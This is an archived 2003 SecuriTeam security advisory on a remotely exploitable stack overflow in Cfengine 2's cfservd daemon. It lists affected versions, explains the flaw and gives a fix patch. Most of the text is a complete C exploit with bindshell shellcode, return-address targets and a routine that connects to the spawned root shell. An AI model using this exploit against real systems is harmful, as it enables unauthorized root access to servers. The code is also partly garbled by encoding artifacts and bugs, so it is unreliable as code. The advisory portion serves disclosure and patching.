

[UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0090.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/29/03

To: list@securiteam.com

Date: 29 Sep 2003 12:50:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Cfengine Remotely Exploitable Buffer Overflow (net.c)

SUMMARY

<<http://www.cfengine.org>> Cfengine "automates the configuration and maintenance of large computer networks. A common setup involves running the cfservd daemon on TCP port 5308 on a central master server, with other hosts periodically connecting to the master to check for configuration updates".

DETAILS

Vulnerable:

- * cfengine-2.0.0
- * cfengine-2.0.1
- * cfengine-2.0.2
- * cfengine-2.0.3
- * cfengine-2.0.4
- * cfengine-2.0.5
- * cfengine-2.0.5b1
- * cfengine-2.0.5pre
- * cfengine-2.0.5pre2
- * cfengine-2.0.6

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

- * cfengine-2.0.7
- * cfengine-2.0.7p1
- * cfengine-2.0.7p2
- * cfengine-2.0.7p3
- * cfengine-2.1.0a6
- * cfengine-2.1.0a8
- * cfengine-2.1.0a9

Not Vulnerable:

- * cfengine-1.6.5 and earlier
- * cfengine-2.0.8
- * cfengine-2.0.8p1

There is an exploitable stack overflow in the network I/O code used in the cfservd daemon in Cfengine 2.x prior to version 2.0.8. Arbitrary code execution has been demonstrated on x86 FreeBSD and is believed to be possible on all platforms.

Cfengine 1 is not vulnerable, but downgrading is not recommended, as version 1 is no longer supported by the author.

Cfengine 2 provides strong client authentication by redesigning a stricter communications protocol. Responsibility for checking input buffers is relocated in the new code and one important check was not carried over.

The vulnerability occurs after an ACL check on the source IP of the TCP connection, so this flaw can only be exploited from hosts that are authorized to connect to the cfservd daemon, or from systems able to spoof an authorized IP or trick an authorized host into forwarding a connection.

The vulnerability can be exploited without reading any data from the server, so blind spoofing may be feasible against some platforms.

The cfservd daemon is multithreaded rather than forking, so the attacker only gets a single chance to get the offset correct within a 4096 byte window, less a few bytes for shellcode. It may be possible to increase this window by pre-populating other buffers before triggering the overflow.

The vulnerable network I/O code is used in several other places in Cfengine 2, so similar problems may exist in other pre-2.0.8 Cfengine TCP servers and clients.

Fix:

Upgrade to version 2.0.8p1 or later (recommended), or apply the attached patch and rebuild cfengine.

The patch was made against 2.0.7p3, and may need to be adapted slightly for some earlier versions of Cfengine 2.

Securiteam: [UNIX] Cfbengine Remotely Exploitable Buffer Overflow (net.c)

Workaround:

Ensure that you have cfservd ACLs or firewall rules set up to allow connections from trusted hosts only.

Technical Details:

In `BusyWithConnection()` in `cfservd.c`, `recvbuffer[]` (a 4096 byte stack buffer) is passed to `ReceiveTransaction()` in `net.c`. `ReceiveTransaction()` then reads a message length as a six digit decimal number from the TCP socket, and passes the buffer and the length on to `RecvSocketStream()`, which attempts to read that many bytes into the buffer.

If the length is greater than 4096, an overflow occurs and the return address of `BusyWithConnection()` can be overwritten.

In tests on x86 FreeBSD, `recvbuffer[]` ends up within a few dozen bytes of the top of the stack, so the attacker can only send a few dozen extra bytes or `cfservd` will segfault before the attacker gets control.

Patch:

```
--- cfbengine-2.0.7p3/src/net.c Wed Apr 23 21:48:13 2003
```

```
+++ cfbengine-2.0.8p1/src/net.c Tue Sep 9 08:38:55 2003
```

```
@@ -89,7 +89,7 @@
```

```
{ char proto[9];
  char status;
- unsigned int len;
+ unsigned int len = 0;
```

```
bzero(proto,9);
```

```
@@ -101,6 +101,13 @@
```

```
sscanf(proto,"%c %u",&status,&len);
```

```
Debug("Transaction Receive [%s][%s]\n",proto,proto+8);
```

```
+if (len > bufsize - 8)
```

```
+ {
```

```
+ snprintf(OUTPUT,bufsize,"Bad transaction packet -- too long (%c %d)
```

```
Proto = %s ",status,len,proto);
```

```
+ CfLog(cferror,OUTPUT,"");
```

```
+ return -1;
```

```
+ }
```

```
+
```

```
if (strncmp(proto,"CAUTH",5) == 0)
```

```
{
```

```
  Debug("Version 1 protocol connection attempted - no you don't!!\n");
```

```
@@ -132,6 +139,12 @@
```

```
Debug("RecvSocketStream(%d)\n",toget);
```

```
+if (toget > bufsize)
```

```
+ {
```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```
+ CfLog(cferror,"Bad software request for overfull buffer","");
+ return -1;
+ }
+
for (already = 0; already != toget; already += got)
{
    got = recv(sd,buffer+already,toget-already,0);
@@ -144,7 +157,7 @@

    if (got == 0) /* doesn't happen unless sock is closed */
    {
- Debug("Transmission empty...\n");
+ Debug("Transmission empty or timed out...\n");
        fraction = 0;
        return already;
    }
@@ -178,6 +191,8 @@

do
{
+ Debug("Attempting to send %d bytes\n",tosend-already);
+
    sent=send(sd,buffer+already,tosend-already,flags);

    switch(sent)
@@ -191,6 +206,7 @@
        break;
    }
}
+
while(already < tosend);

return already;
```

Exploit:

```
/******\
* jsk / cfengine2-2.0.3 from redhat
* forking portbind shellcode 0port=3D26112) by netric
* bug discovered by nick cleaton, tested on redhat
* DSR-cfengine.pl :) i think it has some bugs.maybe it is only public
* version..... possbile another reasns.....
* the begin buf of exploit could be like "111111". so....DSR...
*
* by jsk from Ph4nt0m Security Team (http://www.ph4nt0m.net)
* jsk@ph4nt0m.net chat with us ( irc.0x557.org #ph4nt0m)
*
* Greetings bR-00t. eSdee.B??..lnewy.#cheese and all #ph4nt0m
* [root@localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0
*
* cfengine2-2.0.3:server remote buffer overflow exploit
* by jsk.
```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```
* Greets bR-00t and all #ph4nt0m .
*[+] Hostname: 127.0.0.1
*[+] Port num: 5308
*[+] Retaddr address: 0x4029cc2c
*[1] #1 Set codes.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:5308.
*[*] successfully connected: 127.0.0.1:5308.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
* id
  *uid=3D0(root) gid=3D0(root) groups=3D0(root),1(bin),2(daemon),3(sys),4(=
adm),6 **=20
(disk),10(wheel)
=20
```

```
\*****=
*****/
```

```
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFSIZE 4136
#define D_PORT 5803
#define D_HOST "www.ph4nt0m.net"
#define TIMEOUT 10
```

```
char shell[]=3D /* bindshell(26112)&, netric. */
"\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
```

```
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```

int off_st;
};
struct op_plat_st __pl_form[]=3D
{

{0,"red 8.0",0x4029cc2c,0},
{1,"red 9.0(cmp)",0x4029cda0,0},

{2,"red 7.2 (Compile)",0x44444444,0},
{3,"red 7.3 (Compile)",0x44444444,0},
NULL
};
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getsshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)=
\n");
fprintf(stdout," by jsk.\n");
fprintf(stdout," Greetings Br-00t and all #ph4nt0m .\n");
}

void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=3D0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm=
);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num=3D=3D(0x82))
break;
else
{
fprintf(stdout,"\t {%d}=20
%s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}

```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```
int main(int argc,char *argv[])
{
int port=3DD_PORT;
char hostname[0x333]=3DD_HOST;
int whlp,type=3D0;
unsigned int i=3D0;
char *buf;
int sd;
u_long retaddr=3D__pl_form[type].retaddr;

(void)banrl();
while((whlp=3Dgetopt(argc,argv,"T:t:H:h:P:p:liXx"))!=3DEOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=3Datoi(optarg))<6)
{
retaddr=3D__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;

case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 'P':
case 'p':
port=3Datoi(optarg);
break;

case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);

case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}

if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
}
```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```

{
fprintf(stdout, "[+] Hostname: %s\n",hostname);
fprintf(stdout, "[+] Port num: %d\n",port);
fprintf(stdout, "[+] Retaddr address: %p\n",retaddr);
}

fprintf(stdout, "[1] #1 Set codes.\n");

if(!(buf=3D(char *)malloc(BUFSIZE+1)))
    prnte("getcode(): allocating memory failed.",1);

memset(buf, 0x90, BUFSIZE);
buf[0] =3D '1';
buf[1] =3D '1';
buf[2] =3D '1';
buf[3] =3D '1';
buf[4] =3D '1';
buf[5] =3D '1';
buf[6] =3D '1';
memset(buf+7,0x90,636);=20
memcpy(buf+7+636,shell, sizeof(shell));
memset(buf+7+636+strlen(shell),0x90,3500);=20
memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));
fprintf(stdout, "[1] #1 Set socket.\n");
sd=3Dsock_connect(hostname,port);
fprintf(stdout, "[1] #1 Send codes.\n");
write(sd,buf,BUFSIZE);
close(sd);
sleep(1);
fprintf(stdout, "[1] #3 Get shell.\n");
getshell(hostname,26112);
exit(0);
}
unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=3DAF_INET;
s.sin_port=3Dhtons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=3Dinet_addr(hostname))){

```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```
if(!(t=3Dgethostbyname(hostname)))
    printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
    printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP))=3D=3D-1)
    printe("getshell(): socket() failed.",1);
sa.sin_family=3DAF_INET;
if((sa.sin_addr.s_addr=3Dinet_addr(hostname))){
if(!(he=3Dgethostbyname(hostname)))
    printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=3Dhtons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)){
    printf("[!] connection failed: %s:%d.\n",hostname,port);
    return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
    FD_ZERO(&fds);
    FD_SET(0,&fds);
    FD_SET(sock,&fds);
    if(select(sock+1,&fds,0,0,0)<1)
        printe("getshell(): select() failed.",1);
    if(FD_ISSET(0,&fds)){
        if((r=3Dread(0,buf,4096))<1)
            printe("getshell(): read() failed.",1);
        if(write(sock,buf,r)!=3Dr)
```

Securiteam: [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)

```
    printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
    if((r=3Dread(sock,buf,4096)<1)
        exit(0);
        write(1,buf,r);
    }
}
close(sock);
return;
}
void printe(char *err,short e){
    fprintf(stdout," [-] Failed.\n\n");
    fprintf(stdout," Happy Exploit ! :-)\n\n");

    if(e)
        exit(1);
    return;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:nick@cleaton.net> Nick Cleaton, the exploit has been provided by <mailto:jsk@ph4nt0m.net> jsk.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.